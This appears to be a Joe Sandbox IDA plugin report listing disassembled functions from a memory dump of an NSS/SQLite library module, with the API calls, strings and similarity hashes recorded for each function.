Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBE6A02
EnterCriticalSection.KERNEL32(?), ref: 6CBE6AA6
LeaveCriticalSection.KERNEL32(?), ref: 6CBE6AF9
sqlite3_free.NSS3(00000000), ref: 6CBE6B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6CBE6BA6

Strings

winDelete, xrefs: 6CBE6B71
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CBE6B9F

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 1854c5dc9e52bc4ab62055dc29686ad0e65ba45dc681ac36ee81749b42d1d3c6
Instruction ID: 7368c5af696933ce0c56baf29b59ea3b9cb91b14615317da6b6d91795ab4ce98
Opcode Fuzzy Hash: 1854c5dc9e52bc4ab62055dc29686ad0e65ba45dc681ac36ee81749b42d1d3c6
Instruction Fuzzy Hash: 48513631B001589BFB08BF68DC59ABF3779EF4A759B544129E716D7A80EB304805CB93

Function 6CB7FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB7FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB7FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7FE83

Part of subcall function 6CB7FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CB7FEFA
Part of subcall function 6CB7FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CB7FF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7FD64, 6CB7FE26
%s at line %d of [%.10s], xrefs: 6CB7FD73, 6CB7FE35
database corruption, xrefs: 6CB7FD6E, 6CB7FE30

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: ea104190fe16d9be25a94873c232837f33265c16cbbe220b89f83bb1963702c3
Instruction ID: 60590f4a82c3849c644d81e9ae8242938af92cdd0aae7d62d5cf5cef95b4208f
Opcode Fuzzy Hash: ea104190fe16d9be25a94873c232837f33265c16cbbe220b89f83bb1963702c3
Instruction Fuzzy Hash: B551AA70A00255DFDB14CFA9C9D0AAEB7B1EF48308F144069EE15ABB52E731EC44CBA5

Function 6CCC2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCC2FFD
sqlite3_initialize.NSS3 ref: 6CCC3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCC3032
sqlite3_mprintf.NSS3(6CD2AAF9,?), ref: 6CCC3073
sqlite3_free.NSS3(?), ref: 6CCC30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CCC30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CCC30BB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: c0bfbd24d98b147b6faae4c550b749fe39f4a1bd43c57fc4ef14bfd018ff2b21
Instruction ID: 72c0ab2563110a670608151b98644bdcbf179b942856a341b3f0a12e0955fa49
Opcode Fuzzy Hash: c0bfbd24d98b147b6faae4c550b749fe39f4a1bd43c57fc4ef14bfd018ff2b21
Instruction Fuzzy Hash: 5C418372700606ABDB10CF25D880A8AB7B5FF44359F198629EC5987B40F731F996CBD2

Function 6CC2ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CC2ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC2AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC2AD23

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC2AD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CC2AD1C
C_MessageDecryptFinal, xrefs: 6CC2ACE1
hSession = 0x%x, xrefs: 6CC2ACFE, 6CC2AD0E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 4d77ee82be44192ee43b946a0092a7cf19c46e8ba2e4c7d7aadb1e8b8d3dffd4
Instruction ID: 257828b807b229973a4fa9ce27a6b762ab00f7dc86b135210000a444473d0922
Opcode Fuzzy Hash: 4d77ee82be44192ee43b946a0092a7cf19c46e8ba2e4c7d7aadb1e8b8d3dffd4
Instruction Fuzzy Hash: 3D210A70701144AFFB00DF68EC88B6B7379AB8174DF844066E60997B51EF38980CC6D2

Function 6CC08CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CC1124D,00000001), ref: 6CC08D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CC1124D,00000001), ref: 6CC08D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08D73
PR_Unlock.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08D8C

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CC1124D,00000001), ref: 6CC08DBA

Strings

KRAM, xrefs: 6CC08CF9
KRAM, xrefs: 6CC08D3E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 0bccfbc6f830bca44e53608675322a35938d048936fbf92a4037fc5f9e192576
Instruction ID: ca04f511d372ccf149912dddfae89a1054514c7f9887e536f4414301974fc888
Opcode Fuzzy Hash: 0bccfbc6f830bca44e53608675322a35938d048936fbf92a4037fc5f9e192576
Instruction Fuzzy Hash: 41216BB1B047028BDB00AF39C484A5ABBF4BF45308F15CAAAD98887701EB35D845CB91

Function 6CD00ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD00EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD00EFA

Part of subcall function 6CBEAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBEAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F2B

Strings

Aborting, xrefs: 6CD00EB3
Assertion failure: %s, at %s:%d, xrefs: 6CD00ED9, 6CD00EE5, 6CD00F06, 6CD00F0B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: eedac35080bbfee8a331f0c01474de4f476e3805db5f9c900c075b968c276e56
Instruction ID: 136806ba5ac47ef87f2159b68fd501c7ea74d02ea426749c42efb9a6c7df9570
Opcode Fuzzy Hash: eedac35080bbfee8a331f0c01474de4f476e3805db5f9c900c075b968c276e56
Instruction Fuzzy Hash: F401C4B5A00114BBEF016F58DC4589B3F7CDF872A8B014064FE0997721D731E9149BE2

Function 6CCC4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCC4DE0

Strings

misuse, xrefs: 6CCC4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCC4DCB
%s at line %d of [%.10s], xrefs: 6CCC4DDA
invalid, xrefs: 6CCC4DB8
API call with %s database connection pointer, xrefs: 6CCC4DBD

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 80cdfccba108d553061ac1c68eef751865d73707c9f0635a6be595132c126436
Instruction ID: 25e995d815a80f4e9643c279e8dd0f9f6c1979a1bd36351ae43f1effa47e72f1
Opcode Fuzzy Hash: 80cdfccba108d553061ac1c68eef751865d73707c9f0635a6be595132c126436
Instruction Fuzzy Hash: 8EF05911F085682BE700A255CC10FA633558F0271EF4649E1EE087BEB2F20AD88482D2

Function 6CCC4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCC4E4D

Strings

misuse, xrefs: 6CCC4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCC4E38
%s at line %d of [%.10s], xrefs: 6CCC4E47
invalid, xrefs: 6CCC4E25
API call with %s database connection pointer, xrefs: 6CCC4E2A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 51062ad86d70d32ce7874ff9d8076044b56087a141ef51b6f02272e0d043a3d2
Instruction ID: da0a94412428beabee03150fc0ff8736a00cac69da6bcdbbb4b35237172ee00c
Opcode Fuzzy Hash: 51062ad86d70d32ce7874ff9d8076044b56087a141ef51b6f02272e0d043a3d2
Instruction Fuzzy Hash: 19F09E10F48828ABF71092618C10FA6B7858B0131DF4BC4A5EB08B7EB3E209D82542D3

Function 6CC30C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?,?,00000000,?,?), ref: 6CC30CB3

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?), ref: 6CC30DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?), ref: 6CC30DEC

Part of subcall function 6CC50F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBF2AF5,?,?,?,?,?,6CBF0A1B,00000000), ref: 6CC50F1A
Part of subcall function 6CC50F10: malloc.MOZGLUE(00000001), ref: 6CC50F30
Part of subcall function 6CC50F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC50F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000), ref: 6CC30E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?,?,00000000), ref: 6CC30E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30E79

Part of subcall function 6CC41560: TlsGetValue.KERNEL32(00000000,?,6CC10844,?), ref: 6CC4157A
Part of subcall function 6CC41560: EnterCriticalSection.KERNEL32(?,?,?,6CC10844,?), ref: 6CC4158F
Part of subcall function 6CC41560: PR_Unlock.NSS3(?,?,?,?,6CC10844,?), ref: 6CC415B2

Part of subcall function 6CC0B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CC11397,00000000,?,6CC0CF93,5B5F5EC0,00000000,?,6CC11397,?), ref: 6CC0B1CB
Part of subcall function 6CC0B1A0: free.MOZGLUE(5B5F5EC0,?,6CC0CF93,5B5F5EC0,00000000,?,6CC11397,?), ref: 6CC0B1D2

Part of subcall function 6CC089E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC088AE,-00000008), ref: 6CC08A04
Part of subcall function 6CC089E0: EnterCriticalSection.KERNEL32(?), ref: 6CC08A15
Part of subcall function 6CC089E0: memset.VCRUNTIME140(6CC088AE,00000000,00000132), ref: 6CC08A27
Part of subcall function 6CC089E0: PR_Unlock.NSS3(?), ref: 6CC08A35

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: e0964189ef671c1a26600037a08c015f2a859cc167773dae2beb4eb800403697
Instruction ID: cc85b968adfe214ca2a70a857aa6bb00bafb124219f7d0dc0d49493a77b2e5b0
Opcode Fuzzy Hash: e0964189ef671c1a26600037a08c015f2a859cc167773dae2beb4eb800403697
Instruction Fuzzy Hash: AC51E7B6E002105FEB019F69EC81AAB37A8AF1521CF551064EC0997B42FB31ED1986A2

Function 6CBE6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CBE6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CBE6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CBE6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CBE6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CBE6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CBE7010
sqlite3_value_blob.NSS3(?,?), ref: 6CBE701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CBE7052

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 98532ee4adebba7924d6844888bb92b5657f3654d856b54ce5de086d74cd039d
Instruction ID: cd61c2d54faabc78542d257d3259a9dfdb4190928985fc3ab456346f11e409f9
Opcode Fuzzy Hash: 98532ee4adebba7924d6844888bb92b5657f3654d856b54ce5de086d74cd039d
Instruction Fuzzy Hash: E061D3B1E1428A8FDF00CFA8D8107EEB7B2AF89748F284168D515BB752E7359D05CB91

Function 6CC58F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CC57313), ref: 6CC58FBB

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CC57313), ref: 6CC59012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC590DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC590F1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5906B

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CC57313), ref: 6CC59128

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: c6feaa2a3363e479357d2a8932d4a65de6d5fa55182ac560903e703bc118a48b
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: F451D3B0A002118FEB108F2ADC44B26B7F5AF84318F9544A9D915D7B51FB31E832CB95

Function 6CC09C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CC08850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CC10715), ref: 6CC08859
Part of subcall function 6CC08850: PR_NewLock.NSS3 ref: 6CC08874
Part of subcall function 6CC08850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CC0888D

PR_NewLock.NSS3 ref: 6CC09CAD

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
